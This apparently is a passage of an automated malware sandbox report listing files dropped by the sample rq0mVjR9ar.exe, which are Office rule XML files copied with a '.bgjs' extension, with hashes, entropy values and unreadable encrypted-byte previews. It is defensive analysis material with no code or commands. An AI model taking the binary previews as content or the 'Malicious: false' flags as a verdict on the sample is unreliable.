SHA-256:	FB7A94FD66189597AAE2925ACAFCA8533E2132AB4EEB67DE7236AE5BC965A84A
SHA-512:	9E66D6C7F87785CA2C9D424D6915A96698BE0401BCAA63DB05B1B4824F3BC4CD840FC6EF56FEC7549DF4484F951986FA2E37B7220AC1ACC45915B3606E91FA02
Malicious:	false
Preview:	<?xml\|.iU?....n...r...Jd..-....j?7..}b...n...-.h....\|.j....I7t...2.]..8k.s.!P9!..:..Q......X,N.4..w...H/...1.....o.,....3..aDZ\|..h.W.....?1=/...n...4.............p.3...{.,..W.....$.p....R5\|G.\|.[.b...<!.....Q..6C.g.......m...;}..V..K..K.yl._..xYzf.=.`.E]*.&`.l...C".%u.M.h..C.&.:.....'0.CS........a..b.@#s.Mb..b.Z...:S..0p....;.;....eU..;..;...?....n....l[A.L.:.......kD.3_.W8....<@.a.c ...!.........rkH..I...8..P..KJ%...@..........T..&.H.....K4.n..b..[...]7.2..\lF..C..v4$6.:..R..Q...].}...4M..~H...0C..kV.....!>.@..Y...Z...s\|.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.7386936524612375
Encrypted:	false
SSDEEP:	24:vN90spR75dW4J5n3D0iQpN7b5QqB6rAzNnZr4HJYiTkbD:l9vpR7eSnRQpFb5Qq8MReHJJiD
MD5:	3BF3D585CA23FAEE15F5385B77017D27
SHA1:	772057ACD404E9CC6353448F22A16D173EE00100
SHA-256:	D06FFAC0CD0B665512D220A74517421CE16E4CB0B490B77D92812F624FB6E5A1
SHA-512:	54C65A4F4E0B1D39E809761DDD25074EFEAB128F6BA32F646AA40A8CA26F4959906D0FB55E10A89A6A4131FC9014DF822082FC46C590F9FAF3284A183BD333E2
Malicious:	false
Preview:	<?xml....\.&...fR.r....)n....fVI?#6Uzx.WCb.?O......[..!uLX1.Q%&.....a..f:`..R...EJtO.ANA..%.G.j......Q...?(..I..r...lq.$...jR.^.<.....M...x..V...5........,T.M..k.&.........F..2..t..\|V....I..'..@q{.#...@n..>...: .h.s...O.;....Z.I....i.5..7.3..88......V.p...+...a_o...S.h..ZD...=A_.m.9.G.#e..&..L`0-5W..ok..M.J.R........>.6....:.FJ.o..O.#}...z.(.....V..+..X.6=,l.C....c....t.D..m..W...-................?...Fw..!........:#(k(...U.?.p.N.ZJD..&..k....^}&.H`..)G{...:...)..).J...#..VN..wF...1.@...5.bBr'4.G4..?.$....m.L.R.{.k..P3...;.(.x.+m)s{.._eS..p.YD%Z..?p..............\,M........{r.....(...p.?..@.rr..b-......J.d.VuZ.......4"..l@......V-.%.s.j.....I......0.B..<.q.^T..2...M..t.iP.B..m.PjA&S.f..2<.....9.mTn.}......>..w.,..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.970735403689393
Encrypted:	false
SSDEEP:	96:qSaOQpzmAQXkUSpOrIpzB3u8tXYzRvMtdauXH+5cZtpkdTJ/lAcqPxNUzzsk+U9g:qSaOD58puIpzvlSGtdrX3riRJ9YUzQlv
MD5:	C8DB09B1742BC26396017797DA7B2C81
SHA1:	640B7F990A29C004A39F0F546318425E95B85CE7
SHA-256:	519BAD22BB966A43D48C6CFC0DC8408F0189E389F20A7306346C229A48125192
SHA-512:	A117A6B36698AF4C1ADB581A5E898FA9EEBADDB5F22EA27A1E1D49EE0D6ACCC180BEDB53EFAE253180F1253DEBF4B00610FCB98C6D38906662330DCE6E2C5DFF
Malicious:	false
Preview:	<?xml.q!.]4n.`h..z..D......On..I...A....P>2..4...Z..^.?.^w@..b.n.c.X.u....E.c2.V....' ....[.K.2../......#.)O....TDk=i.X.....07wPY.%..../1Ye.......C.YB....C..4L..=5V.L .fb..X..H.a2B.T.~..{.....^j..2...Z.M......@"Y...vS.:.,......p...b...^..j..a.=x..-.{.9.M../I).c.......V.>....6S-...\|.v..X.:.I........x>..)@.e..7...K.......I.H.......&...q..iS.\|..e..Q...D.wr.\..gi...F.W'.Tx\2/~....R..G7..n.f;...o.-.6...7...$.L......u..y...<T..d....g.a..@.;\|#.A....<:.I@..Q..~u.Z\|...,]...`.{L]-1...........u........l..C'..+........d.<......KOM.....6z..l.D^!..8.-...=\.M4...f.....C..(..[.t\......>....n.9..i.,..6._..f....$P".....\|\|....:..._..a..k...<......'..1_......j.zFKT.(....uk...@E..".c..X..K..1 ...B...2BW.'s.....,{5..."O~.Yq]...gk"]...".1.:h.g6E.pB...'.l....B....53..wpS...w.....`.....~D-.O.....n..L.pN.8w.=..\...gv^..^.m...n..j.../...$c.!...1B..M.U8. ..Ka.T.}...F.b5....uz.wT..=.. ........F..'.k..d...P.........p.h....E......[.......C...G...?.-..L.mg

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.809922181162971
Encrypted:	false
SSDEEP:	24:trQIPjwkTs5bSrcw6UouVmXVYVRUriQWSCC/pAkiTkbD:tzPskTs5bSrH69usVYV8TpciD
MD5:	1222982510BA76B957C73E03A4DE58B1
SHA1:	950F676EF16CB58022C5208A6FCD03D78633E8BB
SHA-256:	13F3A1DD8BFC4CA4A4D1BCCF5700DD4F6574EEE271E2A1161987EF3509DDE636
SHA-512:	4EAB704F28C36AB102DEB77B8A3A8CEE7118BA24D3B64BF46C7B2E3F253618BAECCFB185946891BAA52EF76DE898D694F0D38D2EC58302558D95338D289B2272
Malicious:	false
Preview:	<?xml...Q...s......?....k....qv.....T..6...P.G.,(.v9.\|R..B.!7.K..Q......Y.D[.@...w13.........v.hr....`..:..?.$=....:x..c<.t?...vF.LKx..?.q...NSK.<....8#."9..W.....X..o.M...n@............EX{....h.~...v......'.F.?Vqiz....Pk(q.~.5.&..E.U..=B_LuJ.Z.....YIw(..D.5..?.....Z..\..[..k.~.+}....R.Y../_?..t..g[......*..r.4..o.T..?.."=.wM....K.^eZ$..x.._...#R..4....i..........$.ZA...... ];.>2..e ....Y.k..k....."D.....T......Zr.b....O]y....3.<..........{.qif?s...p6..NMo..l..E..N...5=..............Uv.E..$R..3...2..I.3 U.^.B.H..U./....>..1.........W..\|..\c.v..X.... .....$..F.{.I...2.m.4z9..O......l......a..c[.......Y.Q..z}6...9....Q>.)..@.....h..+\L[..i...~0..Ps.GG.Ix....'.l]....K.A..JC....x?.)....;.....%.C.....'...H.f.u.\.O...(.@ ._'.%...9..Q.(p....Gf...9...N08.h....:X...P.J>y".<.m..#.1.!..q.xe..?.C..`s(.\..K..k.kM..%...3...sc..=q....E..(r`p...~......@KV.....(....E...&c...i)....R...s.#...C\|.{..e{..@r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.798026347286625
Encrypted:	false
SSDEEP:	24:L3NSt27TO0hGgGwuHTOCxwc771nvpbgGiTkbD:bG27TO/T7hxwg1FoiD
MD5:	25046BBB34A8DCE2B48BE210D1915080
SHA1:	81F1227417CED9074E078F4911BBE739E97CFE4A
SHA-256:	7F4A00ACFF3C360F30BDFEB710A5E18331FB0AC17796FB48237BEF9209E9ECD3
SHA-512:	E74E72F6102B77147473B280D37070026B8E7EBA92E2A56BA7F7EEF56650D491DF5A9AF6CEFE64EB2149C5EBCFE04C0144C0DCBFAC2553AE35FCE1113128C5FE
Malicious:	false
Preview:	<?xml3q._.m.]v..Vm...h.;8.....o.d.h[.N...0.!)..\../ 5.#.6.:%k.>...!.9...aa.`y.F..,..O.3....j...7.*......!.=..t....G..4.IR.,...(..a.F..."...3..]R31..[.Z...G.%..hVZ..[...^......Y..#-.).D....3.1.......\|.z.7.......n......:..'.Q.1.{.e.4L6....-...0..&K.}M.^.$........f....GL_C.{pI..-(,.9u.m.g...q.YI...kT.H.............b.0...!.......s.n)...=.`5.!......Hf...w..3'......pF..wv3.q{.,N;..q.t.9...G...]8..m..3'.l..O.Q]"Df..._...1..o...T<.-..m.6....C...9..S.U.^.._."Q...tDscC...k.K......{.:...BvQ..M.#q....z...@;.x^.Et.c.../u.....>r(?.q+..Gs....E.8..A7X5Pf..3(.o...!..jgQ.@r..t7")n....Y'...u...a....`..In....Gvv.C....,.......0~O..A0.`3.[..S..c$......M...........JE...mx.....T..z....u=..X.Sb...C.t.}.Kd.i......W."...4.00N..#Y.z....}.."1..ooY% ........r..j/.0N..(.4...I.&}....+0.<....I...(C.F[....z7...7.K..\..z.}33.[4...K..y....@7..RfJv.O.\.e.....V...s_>.].!......xYm.!....z? o....R.\..h....y\|.>)..$5.%..W.\.C..$....v6.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.86446146529215
Encrypted:	false
SSDEEP:	24:XfvkXz/poJJBLbK3dWESRcpbTXPFi70xpiWz9WBcDzsy3FX0WEliTkbD:XH27poJ3K3dWEAcpb7PFi70xwqWBcDzM
MD5:	A5E11E98F1EDBB9A03A01AE68741CAB4
SHA1:	1554FD73B12F2DA36892CE0BF87DCDC2C8CE6805
SHA-256:	DEDDB713249876AF5229DDA0A1ADB73281309DF4F103871A6B668A95CD68C80B
SHA-512:	212BBBF78BDB44F3920DDCBBAE5DBB07E1DAB0EB65CD22B680BCA18FBCE62F74952B62B97C7F1AD365F0DEBF010050BCDD88084C2E2B2DBFDA6779AC99E7837C
Malicious:	false
Preview:	<?xml.07.]@......`.........[....{..y.".....,K...g..]..~.U.A..%.x.......0xZ:(.KYU....F.6.Y.q..M...j.a~..3...u=G..}.~+..7.b...W........1......7Q....<.b.,#..w. }..J..,.............,3.M.o.....i.v..t....k..r9.i.;68.........6.L..-}].Cj../.o"I%c..)..[...._...2.....?[..Y7..f....i..>.....'.........h..&.e...r.:.(\=..c.X.~...7o...Y...X...bw.S..p.+..\|........I$.;R.IA...z...].j&dJ.]n.&....C..\\.fX.+..A...H...n..7w..;......?st....@pK........+..o...K\.S...@..W.d.%... ........9E..C..a.C..z..M`..../ .s..2.....Y..J....x.E...z.=g...Q.a.F..,.k\|HH....g...$...$......Z..I9.7..h..)&..?..=....@.L>[].6.v5=r...O..)......<........0..1..vRI.....m..9.g.....nI..W.....f.9.~..uQ...x..%#..tu.h\|:..z...w5v+...q..H..}.../..\|.PM+....&..%L9.X..\|.!PZ..!].....+.8..h..n..7u....y..q%.E`nxcG..f0i_.~..k.f..5.6...&Y..h4...5x<X,..2..c3...<B.....%r......Niq/..s..H.K..v....q...54....;.....(!P7...$"Kg..$.....w9..M-..r..6.4.^...K.....L:.nX=..I4...z..i.....)...".X.?...Lq..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.79040859029297
Encrypted:	false
SSDEEP:	24:fwAfoJ1E4cet8Dm7DLP5j6WYjKTnSIqI1dsmAQTlj+NDiTkbD:oAws4cHGzJ6DjKrSiHEQTljA2iD
MD5:	2762CCCBAC1EBBCA229F2608D56071C1
SHA1:	94EEB2E53EF2CC93FC471CEB7F65357C232C3386
SHA-256:	74645D29B950C890D3F668154388CD1FF6A73FD7B59514597ABFC03731F67245
SHA-512:	1751A0FF0692F0938B7FE96FD241C3629DAE1B3D4F4D3B1D0711171669E1CC16899AB668E2683155F3FEDAA24A4C799A0842D581077F4149BAAB76938DD05462
Malicious:	false
Preview:	<?xml8..8o.P#c......,...ow.8..0...{....QJ.B...M...5z....a5}J..J` .~.....{.....y.g0..;.....F.-cj....-...$...Oe[G.'...^...p\|R....{.A9-Pl%TcT..."..[^..-<.......~+\|..R..c.?...j........31c.)...~D4...#..S....!......O......(..%.S.h..l.d...+....I.RJ.a.._...b...m..Pz2...((OV.7...qW%..x...vt..6.q..8..$..l.r5.Q`.lC..u..#.FjEM.....;.+Tw.....E.e...E......b$....[...1." ...c.b.-.Z.I._I......g'..nV.._>..N..j;.v./$.kW..R.".>.{.xpd7..2.8`E.P../.......b...}....KL...-..b.........J...:.=......f(o.(.L...^..m.gM...K..[..Bo..?.....h=....}..\..Q...q.k..?..I.]...I.G..}_...(....KZ.p@...`F?d.~....i....t.Q.z.w%x.....D;.7'....3d..@1..>Y2.m.f.Kk..q'..1.J'..e...(...^f.m).=...e>....w...e..d..X>...u.lN...d.1.$...Og.....3...4.&.}Y.r....W..Lt.k.yeT.-........0;/Z......Sq.p..N..AL.. ;._.....#.r.....9..e......y..n&^.EB.....y.L...R52J.nNM../.....D.}.).8....p.%u...q.{..#...S.. :....D.o.....=(6(...=wt..........W..&&.G.......:...*~.'..q.... JB"b....D#....hLbL^40?.....r6yxl

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.8206145933749225
Encrypted:	false
SSDEEP:	24:s5GGx4HoI9g16NJobFE1rVBMHF8PNbetun84h14rLd5f6K1iTkbD:/foI9g16voxXl8NRF1G55SKMiD
MD5:	9BE0D5C6B46FB71BA4BF3217909CABDE
SHA1:	4CF673B3F1607C9A88143F886A299E88AB408BB7
SHA-256:	1BD3633377F8A6ED297FE52338EEFD757FA3E704466024C82297888E267885F9
SHA-512:	AD2FA9CE031E14A11E61F7B908AED1E55BA5FC1ABBFFEE2B2A7025A099EE0F43A95C6D504CBE07EFA6F0BEF34D49F6E28D26670B6837EE0ADC0D57CDB1BF0022
Malicious:	false
Preview:	<?xmlf..kr...E.y.\....q.....^.>./.^..c.....W$-.u..S..V(:.u`%.......r.8.......U{..A ZH..H...b....z......]Xp..=T.^.j~.K.F..`qr.E.#1d@...@.o.h.,x5...c..W....J2h.j..H.kv.....zj.n.....4.%oq.uK[_.^.....e...%.!&.4P_..#..8.+.F+.-.{..H~. d.c..%..SJ~...aGa..,.c..(Qj..y.q.R.......p......:9#..).(_?....4..l]..<...Jm..F.F....5..=...g...`A.....E.........B..I..k..bo..t....j..I....Mw^JI..%.Cz.8..z.A..R.IR....v......~..K,...$..,A..Q..)D....t.J...L>...7.,..W...{w..Q..B.]y..qQ..%R......Y...f.,k.P;-.\!DFpd.q..Z.R..1s.....R%...'2.zF.....-M.<N.}...^.....a.7....)......Vx..G.L....rSxO.y.d<...Ce5iH...iW..AB....'E..EI....~<.%..".)..nQ@..a......U%...tq.`.&T.......P..j.A.h..../....N.e+....}7.s.d(.r=..Qd..t/.U..9.Z...U..3KF..x[T./.m.k..p^..w8.......r.y..j..B..w..l..<..G..&Zd..Y.%E....D.X.Ou.06a...V9......).>.n.].;......2CY=.....I.Q.sf.^T..6..G..'Kc.&<.r.d=.}..w.........KK....D.xO....U..j.5s...=Ra..1)!b.3..].[.@...<....E..\|5n.z..6...T..N.5.....x.^..l1D.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.890167345913288
Encrypted:	false
SSDEEP:	48:zi01JeU4K3sAOOOdQ00O6phQxMMgoyyzXJfVQnbiD:b5HcD07hQxKyzZVQe
MD5:	EDBCA583745F53123E01C8A1EA866856
SHA1:	31C1A6F138A2573DBD058C94DD394C53AC15139C
SHA-256:	329694A30A9B342A9CCF9E0FF82641BAC972DAEE55E4F089B5F3E9FAF2BF5FB8
SHA-512:	781339934FA5C297CD68D52704C889014F33177C8CBC4ADEE7A9003B79790D7920CB5C6C0EEAE6554D0EBEBDFD8DB12596D5CA305D7347C1CA477E758FF45BC6
Malicious:	false
Preview:	<?xml../.%.a..a\G+.V-VU....t./...D....p..h, q.A...Y7.lX2.....(.Q...-N.........t2..=U'..?8.:F.}...W..UMK].7..I.+)............dBi0...Z...p.Y...V......./..O+...F...F..hI.x....7a.&..@..&.O.O.)...V@.j.M....2..h....t.`....3.\-....uZ...k8..#...._Q.:.......t)......t..}b!..&.....q..C..LI[.D.......1_..H.g^>.2.~I.x.3.5..u.9-t].<t..\|A>s...4o..Nw_HN.R.Ntr'N5..y...kG\T..la.!,Uo..Uu.HP.BztA......+.s.=....[.b..g&.G.:6r.}.8.....WYA.c<.......7.?(J.(.O..\|..x.I.."...).u.._>.t........yHU...&f.#..kll3n....ra....i..._.`VE{..<..M..d..~...o=~...I.L.f.....c......!.6y..kWV.4M4....J P+5!..p....X.WZ.T...k.~4.xW;..I5...nO....[.9...e......-..B,...V..O7U.g........Ml.......Z.e.5.".....)n^5...6..`...i..kC....!...-/g.q..V.q...+_...Q....og.)..to!.t.Fw..P.'.......(..f>P..T#..c.L..2.N._..v.....X..}PN....\.....'.b...tW.cT..hQ..E.",....r....}.S..n."{..."...zCJ...{c^..........9y.r..rRs.6.1.....EV.6}...aU.4..x../.m@..Z.\...... =..Vr`Zb.%..k..E6.r.".."......>.^Hs..z0.?

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.61794768493998
Encrypted:	false
SSDEEP:	12:EGGXAjHlTNpjG50U+FKcqSyqZCztinLECpic/t7msLE0S0LtlsIzAvtZixpZaciD:vF5lGV+Fxh1Zg0L1ic/pL/HtlP0jiTkX
MD5:	468E92330394F57CD13E00BE31089D14
SHA1:	88201F3AB7A814C17A1DC44E5C0D97E9948589B7
SHA-256:	9C61827144320EC642AD4C7524D9E3E6E23FE4921BEDD184E53B41CD37D091E3
SHA-512:	B0C79F18F79587560086088DEA90C23900AEEA83848ECA67316304C96298194629E52639D0A99FA34D1441E200F40DFCE4E843960BE11D4652C652CE756C6670
Malicious:	false
Preview:	<?xml/m.....#.Z1.:...l.OJeEH^,<..(29...8gc...c...B..C.....V.JE.......yk..Sp/..#.0..}...Y......lU)v..B..5.2..,c.?.`ED2.I..J.._.....J...a.6(.y..T..<.....).....Jo+......m#...[:.G.5{r.R. .{3....H..R..Je+.v{.T+...._6........:I...V...].[..'....p60C..~0}.h.~.....+.......\C..]u.....j6.6H&...H.....K1..&...Kp....7..@]FG.w:F..Xw......y....\|(....).7..(.H6.ELN........#.x.U.,.....H..O.Vax~.X.YM?1.`.fj.c.g.&....\J .F..E\.jx.g.=...o6..F..PY..%.J.K.?Ah.........;....A.v{O..,.'C.].......4.5.`...K...Bfd..&..!Y.........o...y.......(....\.O.Y3.+..v.\....'......]E........s.=I.....8...x:f(9....<.....LE.._YO...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.876713976267319
Encrypted:	false
SSDEEP:	48:eWKUCqtHEitlK/oMnqjEUMXv8+f4rs7FiD:eSCqVECKQNj6XBB0
MD5:	D2D9C527CEC805A5761BC8FFF30FBF3A
SHA1:	BAF1EA5D6A3214C338E98FDA9F1B6BD247D130D1
SHA-256:	564E033085191897D9E731411970AE920D888A1B8D0A4234916072A3A4E0D9D3
SHA-512:	6821DE4A7F322DB677440CB05394372AFC595C0E09854C682C4E997D2DC1F0A17BAC4CC663F3C0955DF6213B999C269F0F7A8E7AD70A74152142AB31E1D10957
Malicious:	false
Preview:	<?xml.......c8R.~;0.?]..L....t..J<..GbY..9....\|.87.8....o....iY..;d...f....G....Y..Re..`an..-J'V...........S....UM..d.....P,..;.f...B.......N...rx..0....D....`/.2.n3.....g$.OK~......=F...B4....I...0.-q.BF&.....9.I>......7K.&3\|...j...'.?=.=..K...<=...t..+.8_ =of.~,UY.\|l8T.E....@\v.F..ps.....O....l.el......L..y{Qlf`YB....K..zi...r.1L'e...".h_..c.D...i.Dnu.B..3.8.No\#u...!.....j...w..D.....&..I.'D..TW.`.7.........JSe.......[BE...ls...%bw..........).[\...l.{~.D.9a........{.@d.U.xq..0r"z..c...:.@.<&54.......D.Y}..X9.S.:....:N.e....TC.z.....8..Z...(.E]...J._.E%....,'0...Iw..i.1.w..."2...T....w....).^"H.....<V[-....DGY0..i...I}...t..t...k}.)....X..Q.2B..L.7~.$d...........b(...J.....jR.g..`~....y.........3.Va{HVG...r=....T....Y....\...[...Kz.'...e-..8d....U.....h...=........3..#....l9..R..=kP.)..=3s..Xi....,r..W]?...e.j...-W..(.../......lhs......[.1.....[y..'..O4.. x.-.......G..j6.'6v..$?....#'...X7.'.I ...[xS....=....0..u..C.H&\....V,

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.906175336529756
Encrypted:	false
SSDEEP:	48:y2QBBzPGvcPEIsW7Rw8lH+0kvk9653EIgoOd/hiD:A/zPGvcBst8A0kvk96u9o
MD5:	BFD0147C851A133C31AE72AE16A7317E
SHA1:	552104E0E3C2C8F2FAF3F54758B0F915EF52916B
SHA-256:	309488C6F82332C892C9849D8E4597C88157E47C5AF5CBCB04B647F2B78B8999
SHA-512:	4B0476475159AC79F44280D91DB7E0D82AD5635B325BE9022CE9A2144A94D4BE01CB08FC8D8698486A3132C45B2752B94372179E16B623A5253CAE8950996B92
Malicious:	false
Preview:	<?xml..Cl..........f6..8x.8P........0T......E&3,...tR.i..y.Q.d..Z.QG.......T.Nk.f.....I.@..)..s"%.._.3'.........PN...WZ...u..).l>.'..~..J..o9..c..F...m....6X..3k4Q...n....B~.3/C]..h..>Mt0.-h.L..pR....<zx...k....z@..5........+G.-u..@...o..W...5.'\....+@A.5......s..M.ew.c.a..C.WF...[..P...e5Y.%.fg.~....^....v`.^...^..d..{.pF..=..qC.d~7!.&-..8}4........`.s.!....p...6..)....f..;..!e...4.s.........&&..V....M....).zD..8=.B...(..q....B...2.B.`..yW.~.......Sq..DC-v...'Hi...UT...'.h.B.G..\A.-5...[a......x..Y..b.?.p.Ya.@@.s(.~..g...+....;O~.0f.[...sy....3......!....).h<M.D@wN......,...I.0.9..~]...++O...r..>h....{.WC./.p..@NRV?(.Jbs..w.}..k.X.....g.....=_V...E..&. .pdD......bY.P>.,.B,......g..dW..j...eGf..:%.=..]..BAM...W..s..8.F...h)EEqlP.....w.O..c.....\|..A.5..)YL.-.DW.=..(....@h../..~.KS..jP.@.x..{....D....5&6.r....:1!.p.t...}.V..R....b._..:.y....I.....?...Z.Qu%..y...B.._X.F..Z2....eI2....^7..T.^.b.........,...Q.A.qF....;...~.T.>.qJ.E...:..Kr.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.865898377442905
Encrypted:	false
SSDEEP:	48:lGXwdPO79WXm6kGKmPuCwqap8HrJao+dUWRYJfkG7W3XblDiD:8XAf2NquCVapOrqZYJfkGSM
MD5:	58D40A51699A2CFDC204909870404AB7
SHA1:	DCAB29C845458E2328B69DE8DB76A15FEF07AB2E
SHA-256:	0691779672797670CB5B25B88A9CE065D382A6FC80C2B3A5BA817C24983E181E
SHA-512:	A6E7B363982E6452BA6D74E2D62DA5127687ACA0CDCAE79A47D82FBA6329DBAB40EA93F24A4A61D355E38A649172843FB1AEBD71EC14F0AAC3CA4F93FE263FFD
Malicious:	false
Preview:	<?xml.).,...q.E4:M.....#t........)6A...+d....N%......M7i..7O._.<.. .........a\|<..:(n..7A....d0.0..4.t.NH..w"S.P...+.y..>...J...cz.q..4...{.vM......8...3..t....x.p..C.E..\|x.7P......+...3.C.g.Ww.t..G.C...`......q.GL'T.....".6.........hJ..g..+..._&.Or.9...>.....1.<7.a...O..b.3=....5..KsY8J;].(..i?Y..&."...J}!.......1>.N.m.\t.A.....mi...0......QT,..........J...T.\|..~.V.CH.n....N+.a h.....1n.e.,D/.7"..`.zM,....u6.uM..0...M"...W..vq...\|:.`.^.-....w........\.J@.l.'iB2I..).7.;@..10q..u..f...Z~.p..).........k7.4X1..g\.&......&........J..4...[......k..+%.!...\|..@.DK............<.[...L...Q0..,...N:..s.}....VG..A...1.....\|..........{....y3..9....Du...D..Vv...F.D..`...t..bV.......x..>.Ud....sv0...a..m\|.w.1..\|../4..".M>x..P..{._...G..KW;.?dH..?-...z.a.[A....M4....=..0.-......#eo...Z..H6....Lv.....=.[\|.AG..~9....c..x...mW...G.....eA.V......l..E..V...P.Vkp.^........A.._o..hh.. 5.....6..2#...}b.P...n{B...T..9....C.).S...h.&.cvDE3..s.... SoF8.s.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.791330900242329
Encrypted:	false
SSDEEP:	24:y/J8bbJRoZy5t7yrOEAARwwJTizNDPsIB8lPPM/obbFxV/tJiTkbD:MJW/oE5JyrY8wYTiBZB8lP0IxVIiD
MD5:	164F6508EC43456AF4EF1ABCB2F00322
SHA1:	5933C9025647B6FF521C50EE6FA96CEC97C4A8A8
SHA-256:	9D0FF8C146CBAA79EC3FFB3CBA09039F903886AFF34F0767111122641225F690
SHA-512:	DC36FF5702975FCFB56BE4A626B2341C3ECB118632DB6E5BD47DCBD62C5D1073C45590D8AC88200757ECFE102635D7F44DEA3C92C88E95C00E564F20B8FA1192
Malicious:	false
Preview:	<?xml.W...6y..r.../...f._....fo.-l.=.l.........=.z..M:.2.{...V.XU.M...ph).D...'..G...'g.D......m....l.@..'............<..j.....>.(..T../".N...Ap.5...w..W..\|...CA.q.Mh.6.)7.P..DA........+...j...I.2..:.....V..5...O.`."a[7.`n.+q.k.....)....C.....zF.....k...+gv.Y.@n.>.+o....3..........r,...C..a.4.}@.....Yln...N\...n2...3.M......w..mI......4.;.....p.:>....bv..q..p#..._.%P..wl..E...5.t..+.>A...i.B....r~...L`...~..........j.z../Y..f.0@...>.O.."...G}i[...0.%$.?0...-#..4$y.WL.=.B..[.x./..x.(@.\|\|.>..9d.......e....`.D.].l.u......K.../.B;)7.......[o.Lp...t.w].usx.w.[8...k.....<....#..E..m...[...T.`4....N....~}7.\#b?..\|5... B2&....Z.....KHJ..2.M..MoRM.4.@^."...nY.$]<..]m...o"..]..v.{..m{a...V`.....O.k.....e.......2a..>....k....>.....n+..Cc.q?....m...h.Z..V./.1.!...e.v.*[Z..:....yTP..._....(..C....P..Bk.h...>..H/r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.793990806011388
Encrypted:	false
SSDEEP:	24:u5z2vYJinVt3c2J7BumjPF8aRJEHtI+xaiTkbD:uNHinc47UANStDxPiD
MD5:	2AA8901A82BB4102BAA4A1C24588983F
SHA1:	F23190F1015EBB948244FC8FD25EB34562C83CB0
SHA-256:	C8B9A7180815A44383A043D0BD972FEF5ECEDDA323800B5C2BDD2C8DE8086A66
SHA-512:	26741B3C9FC878983EA81166FAD08284EA81CCB9794ACC45844DA05861688975F8993E32DFB55851C3A5DD8DD3C431EA00219BDCB9DE67B8C90308378FB70A1D
Malicious:	false
